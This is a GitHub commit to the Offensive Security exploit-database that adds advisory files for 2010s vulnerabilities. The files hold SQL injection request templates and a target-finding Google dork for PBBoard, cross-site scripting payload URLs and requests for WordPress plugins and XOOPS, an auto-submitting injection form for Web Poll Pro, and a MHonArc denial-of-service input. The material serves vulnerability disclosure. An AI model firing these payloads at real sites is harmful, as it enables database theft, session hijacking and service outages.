Skip to content

Commit 3672d19

Browse files
author
Offensive Security
committed
Updated 12_07_2014
1 parent bf02311 commit 3672d19

9 files changed

Lines changed: 557 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31946,3 +31946,11 @@ id,file,description,date,author,platform,type,port
3194631946
35468,platforms/windows/remote/35468.pl,"Monkey's Audio '.ape' File Buffer Overflow Vulnerability",2011-03-16,KedAns-Dz,windows,remote,0
3194731947
35469,platforms/php/webapps/35469.txt,"Wikiwig 5.01 Cross Site Scripting and HTML Injection Vulnerabilities",2011-03-10,"AutoSec Tools",php,webapps,0
3194831948
35470,platforms/php/webapps/35470.txt,"AplikaMedia CMS 'page_info.php' SQL Injection Vulnerability",2011-03-16,H3X,php,webapps,0
31949+
35472,platforms/lin_amd64/local/35472.txt,"Offset2lib: Bypassing Full ASLR On 64bit Linux",2014-12-05,"Packet Storm",lin_amd64,local,0
31950+
35473,platforms/php/webapps/35473.txt,"PBBoard CMS 3.0.1 - SQL Injection",2014-12-05,"Tran Dinh Tien",php,webapps,80
31951+
35474,platforms/windows/remote/35474.py,"Windows Kerberos - Elevation of Privilege (MS14-068)",2014-12-05,"Sylvain Monne",windows,remote,0
31952+
35475,platforms/php/webapps/35475.txt,"WordPress Sodahead Polls Plugin 2.0.2 Multiple Cross Site Scripting Vulnerabilities",2011-03-17,"High-Tech Bridge SA",php,webapps,0
31953+
35476,platforms/php/webapps/35476.txt,"WordPress Rating-Widget Plugin 1.3.1 Multiple Cross Site Scripting Vulnerabilities",2011-03-17,"Todor Donev",php,webapps,0
31954+
35477,platforms/php/webapps/35477.txt,"XOOPS 2.x Multiple Cross Site Scripting Vulnerabilities",2011-03-18,"Aung Khant",php,webapps,0
31955+
35478,platforms/linux/dos/35478.txt,"MHonArc 2.6.16 Tag Nesting Remote Denial of Service Vulnerability",2010-12-21,anonymous,linux,dos,0
31956+
35479,platforms/php/webapps/35479.txt,"Web Poll Pro 1.0.3 'error' Parameter HTML Injection Vulnerability",2011-03-19,Hector.x90,php,webapps,0

‎platforms/lin_amd64/local/35472.txt‎

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
-----BEGIN PGP SIGNED MESSAGE-----
2+
Hash: SHA1
3+
4+
+------------------------------------------------------------------------------+
5+
| Packet Storm Advisory 2014-1204-1 |
6+
| http://packetstormsecurity.com/ |
7+
+------------------------------------------------------------------------------+
8+
| Title: Offset2lib: Bypassing Full ASLR On 64bit Linux |
9+
+--------------------+---------------------------------------------------------+
10+
| Release Date | 2014/12/04 |
11+
| Advisory Contact | Packet Storm (advisories@packetstormsecurity.com) |
12+
| Researchers | Hector Marco and Ismael Ripoll |
13+
+--------------------+---------------------------------------------------------+
14+
| System Affected | 64 bit PIE Linux |
15+
| Classification | 1-day |
16+
+--------------------+---------------------------------------------------------+
17+
18+
+----------+
19+
| OVERVIEW |
20+
+----------+
21+
22+
The release of this advisory provides exploitation details in relation
23+
a weakness in the Linux ASLR implementation. The problem appears when
24+
the executable is PIE compiled and it has an address leak belonging to
25+
the executable.
26+
27+
These details were obtained through the Packet Storm Bug Bounty program
28+
and are being released to the community.
29+
30+
+------------------------------------------------------------------------------+
31+
32+
+---------+
33+
| DETAILS |
34+
+---------+
35+
36+
An attacker is able to de-randomize all mmapped areas (libraries, mapped files, etc.)
37+
by knowing only an address belonging to the application and the offset2lib value.
38+
39+
+------------------------------------------------------------------------------+
40+
41+
+------------------+
42+
| PROOF OF CONCEPT |
43+
+------------------+
44+
45+
The proof of concept exploit code is available here:
46+
http://www.exploit-db.com/sploits/35472.tgz
47+
http://packetstormsecurity.com/files/129398
48+
49+
+------------------------------------------------------------------------------+
50+
51+
+---------------+
52+
| RELATED LINKS |
53+
+---------------+
54+
55+
http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
56+
57+
+------------------------------------------------------------------------------+
58+
59+
60+
+----------------+
61+
| SHAMELESS PLUG |
62+
+----------------+
63+
64+
The Packet Storm Bug Bounty program gives researchers the ability to profit
65+
from their discoveries. You can get paid thousands of dollars for one day
66+
and zero day exploits. Get involved by contacting us at
67+
getpaid@packetstormsecurity.com or visit the bug bounty page at:
68+
69+
http://packetstormsecurity.com/bugbounty/
70+
71+
-----BEGIN PGP SIGNATURE-----
72+
Version: GnuPG v1.4.11 (GNU/Linux)
73+
74+
iEYEARECAAYFAlSBA04ACgkQrM7A8W0gTbG0jwCdH5CHOIDO9ELRcrPhQmf5FF4z
75+
TgQAn2zuwadnWdMueC8gUQPT5gCmrQyp
76+
=iegV
77+
-----END PGP SIGNATURE-----

‎platforms/linux/dos/35478.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/46923/info
2+
3+
MHonArc is prone to a remote denial-of-service vulnerability.
4+
5+
An attacker can exploit this issue to consume all CPU resources, denying service to legitimate users.
6+
7+
MHonArc versions 2.6.16 and prior are vulnerable.
8+
9+
<bo<bo<bo<bo<body>dy>dy>dy>dy>

‎platforms/php/webapps/35473.txt‎

Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
Vulnerability title: SQL Injection in PBBoard CMS
2+
CVE: CVE-2014-9215
3+
CMS: PBBoard
4+
Vendor: Power bulletin board - http://www.pbboard.info/
5+
Product: http://sourceforge.net/projects/pbboard/files/PBBoard_v3.0.1/PBBoard_v3.0.1.zip/download
6+
Affected version: Version 3.0.1 (updated on 13/09/2014) and before.
7+
Fixed version: Version 3.0.1 (updated on 28/11/2014)
8+
Google dork: intext:Powered By PBBoard
9+
Reported by: Tran Dinh Tien - tien.d.tran@itas.vn
10+
Credits to ITAS Team - www.itas.vn
11+
12+
13+
:: DESCRITION ::
14+
15+
Multiple SQL injection vulnerabilities has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from SQL injection.
16+
17+
:: DETAILS :: Attack vector
18+
19+
Link 1:
20+
21+
POST /index.php?page=register&checkemail=1 HTTP/1.1
22+
Host: server
23+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
24+
Accept: */*
25+
Accept-Language: en-US,en;q=0.5
26+
Accept-Encoding: gzip, deflate
27+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
28+
X-Requested-With: XMLHttpRequest
29+
Referer: http://server/index.php?page=register&index=1&agree=1
30+
Content-Length: 29
31+
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
32+
Connection: keep-alive
33+
Pragma: no-cache
34+
Cache-Control: no-cache
35+
36+
email=<SQL Injection Here>&ajax=1
37+
38+
39+
Link 2:
40+
41+
POST /index.php?page=forget&start=1 HTTP/1.1
42+
Host: target.org
43+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
44+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
45+
Accept-Language: en-US,en;q=0.5
46+
Accept-Encoding: gzip, deflate
47+
Referer: http://server/index.php?page=forget&index=1
48+
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
49+
Connection: keep-alive
50+
Content-Type: application/x-www-form-urlencoded
51+
Content-Length: 52
52+
53+
code=0ae4e&email=<SQL Injection Here>&submit_forget=Save
54+
55+
56+
link 3:
57+
58+
POST /index.php?page=forget&send_active_code=1 HTTP/1.1
59+
Host: target.org
60+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
61+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
62+
Accept-Language: en-US,en;q=0.5
63+
Accept-Encoding: gzip, deflate
64+
Referer: http://server/index.php?page=forget&active_member=1&send_active_code=1
65+
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
66+
Connection: keep-alive
67+
Content-Type: application/x-www-form-urlencoded
68+
Content-Length: 57
69+
70+
code=13709&email=<SQL Injection Here>&submit_active_code=Save
71+
72+
73+
:: CODE DETAIL ::
74+
75+
- Vulnerable parameter: email
76+
- Vulnerable file: includes/functions.class.php
77+
- Vulnerable function: CheckEmail($email)
78+
79+
- Vulnerable code:
80+
function CheckEmail($email)
81+
{
82+
return preg_match('#^[a-z0-9.!\#$%&\'*+-/=?^_`{|}~]+@([0-9.]+|([^\s\'"<>@,;]+\.+[a-z]{2,6}))$#si', $email) ? true : false;
83+
}
84+
85+
- Fix code:
86+
function CheckEmail($email)
87+
{
88+
// First, we check that there's one @ symbol, and that the lengths are right
89+
if (!preg_match("/^[^@]{1,64}@[^@]{1,255}$/", $email)) {
90+
// Email invalid because wrong number of characters in one section, or wrong number of @ symbols.
91+
return false;
92+
}
93+
94+
if (@strstr($email,'"')
95+
or @strstr($email,"'")
96+
or @strstr($email,'>')
97+
or @strstr($email,'<')
98+
or @strstr($email,'*')
99+
or @strstr($email,'%')
100+
or @strstr($email,'$')
101+
or @strstr($email,'#')
102+
or @strstr($email,'+')
103+
or @strstr($email,'^')
104+
or @strstr($email,'&')
105+
or @strstr($email,',')
106+
or @strstr($email,'~')
107+
or @strstr($email,'!')
108+
or @strstr($email,'{')
109+
or @strstr($email,'}')
110+
or @strstr($email,'(')
111+
or @strstr($email,')')
112+
or @strstr($email,'/'))
113+
{
114+
return false;
115+
}
116+
// Split it into sections to make life easier
117+
$email_array = explode("@", $email);
118+
$local_array = explode(".", $email_array[0]);
119+
for ($i = 0; $i < sizeof($local_array); $i++) {
120+
if (!preg_match("/^(([A-Za-z0-9!#$%&'*+\/=?^_`{|}~-][A-Za-z0-9!#$%&'*+\/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$/", $local_array[$i])) {
121+
return false;
122+
}
123+
}
124+
if (!preg_match("/^\[?[0-9\.]+\]?$/", $email_array[1])) { // Check if domain is IP. If not, it should be valid domain name
125+
$domain_array = explode(".", $email_array[1]);
126+
if (sizeof($domain_array) < 2) {
127+
return false; // Not enough parts to domain
128+
}
129+
for ($i = 0; $i < sizeof($domain_array); $i++) {
130+
if (!preg_match("/^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$/", $domain_array[$i])) {
131+
return false;
132+
}
133+
}
134+
}
135+
136+
return true;
137+
}
138+
139+
140+
141+
:: SOLUTION ::
142+
Version 3.0.1 (updated on 28/11/2014)
143+
144+
:: DISCLOSURE ::
145+
- 11/27/2014: Inform the vendor
146+
- 11/28/2014: Vendor confirmed
147+
- 11/28/2014: Vendor releases patch
148+
- 12/01/2014: ITAS Team publishes information
149+
150+
::COPYRIGHT::
151+
Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP (www.itas.vn).
152+
153+
:: DISCLAIMER ::
154+
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
155+
156+
:: REFERENCE ::
157+
- http://www.itas.vn/news/ITAS-Team-discovered-SQL-Injection-in-PBBoard-CMS-68.html
158+
- https://www.youtube.com/watch?v=AQiGvH5xrJg

‎platforms/php/webapps/35475.txt‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
source: http://www.securityfocus.com/bid/46902/info
2+
3+
Sodahead Polls is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
6+
7+
Sodahead Polls 2.0.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/wp-content/plugins/sodahead-polls/poll.php?customize=%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
10+
11+
12+
http://www.example.com/wp-content/plugins/sodahead-polls/customizer.php?poll_id=%27%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

‎platforms/php/webapps/35476.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
source: http://www.securityfocus.com/bid/46904/info
2+
3+
Rating-Widget is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
6+
7+
Rating-Widget 1.3.1 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/wp-content/plugins/rating-widget/view/rating.php?vars[type]=[xss]
10+
http://www.example.com/plugins/rating-widget/view/availability_options.php?selected_key=[xss]
11+
http://www.example.com/wp-content/plugins/rating-widget/view/save.php?rw_form_hidden_field_name=[xss]

‎platforms/php/webapps/35477.txt‎

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
source: http://www.securityfocus.com/bid/46916/info
2+
3+
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
6+
7+
XOOPS 2.5.0 is vulnerable; other versions may also be affected.
8+
9+
Parameter: module
10+
11+
http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin&op=install&module=pm%3Cimg%20src=a%20onerror=alert%28String.fromCharCode%2888,83,83%29%29%3Eaawe
12+
13+
14+
Parameter: module[]
15+
16+
[REQUEST]
17+
POST /xoops/modules/system/admin.php HTTP/1.1
18+
Host: attacker.in
19+
Connection: close
20+
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
21+
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
22+
xoops_user=1-549115432fcb56150b18bef08004f77d;
23+
Content-Type: application/x-www-form-urlencoded
24+
Content-Length: 100
25+
26+
op=confirm&module%5b%5d=1"><script>alert(1)</script>&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System
27+
[/REQUEST]
28+
29+
30+
Parameter: memberslist_id[]
31+
32+
[REQUEST]
33+
POST /xoops/modules/system/admin.php HTTP/1.1
34+
Host: attacker.in
35+
Connection: close
36+
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=users&selgroups=2
37+
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
38+
xoops_user=1-549115432fcb56150b18bef08004f77d;
39+
Content-Type: application/x-www-form-urlencoded
40+
Content-Length: 94
41+
42+
memberslist_id%5b%5d="><script>alert(1)</script>&op=action_group&Submit=&selgroups=1&fct=mailusers&edit_group=add_group
43+
[/REQUEST]
44+
45+
46+
Parameter: newname[]
47+
48+
[REQUEST]
49+
POST /xoops/modules/system/admin.php HTTP/1.1
50+
Host: attacker.in
51+
Connection: close
52+
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
53+
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
54+
xoops_user=1-549115432fcb56150b18bef08004f77d;
55+
Content-Type: application/x-www-form-urlencoded
56+
Content-Length: 100
57+
58+
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System"><script>alert(1)</script>
59+
[/REQUEST]
60+
61+
62+
Parameter: oldname[]
63+
64+
[REQUEST]
65+
POST /xoops/modules/system/admin.php HTTP/1.1
66+
Host: attacker.in
67+
Connection: close
68+
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
69+
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
70+
xoops_user=1-549115432fcb56150b18bef08004f77d;
71+
Content-Type: application/x-www-form-urlencoded
72+
Content-Length: 100
73+
74+
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System"><script>alert(1)</script>1bf8581e3dc&fct=modulesadmin&newname%5b1%5d=System
75+
[/REQUEST]
76+
77+
78+

‎platforms/php/webapps/35479.txt‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
source: http://www.securityfocus.com/bid/46932/info
2+
3+
Web Poll Pro is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.
6+
7+
Web Poll Pro 1.0.3 is vulnerable; other versions may also be affected.
8+
9+
<form action="http://host/poll/poll.php&page=edit" method="post" name="main">
10+
<input type="hidden" name="poll" value="1">
11+
<input type="hidden" name="error" value=&#039;description"><script>alert(document.cookie)</script>&#039;>
12+
</form>
13+
<script>
14+
document.main.submit();
15+
</script>

0 commit comments

Comments
 (0)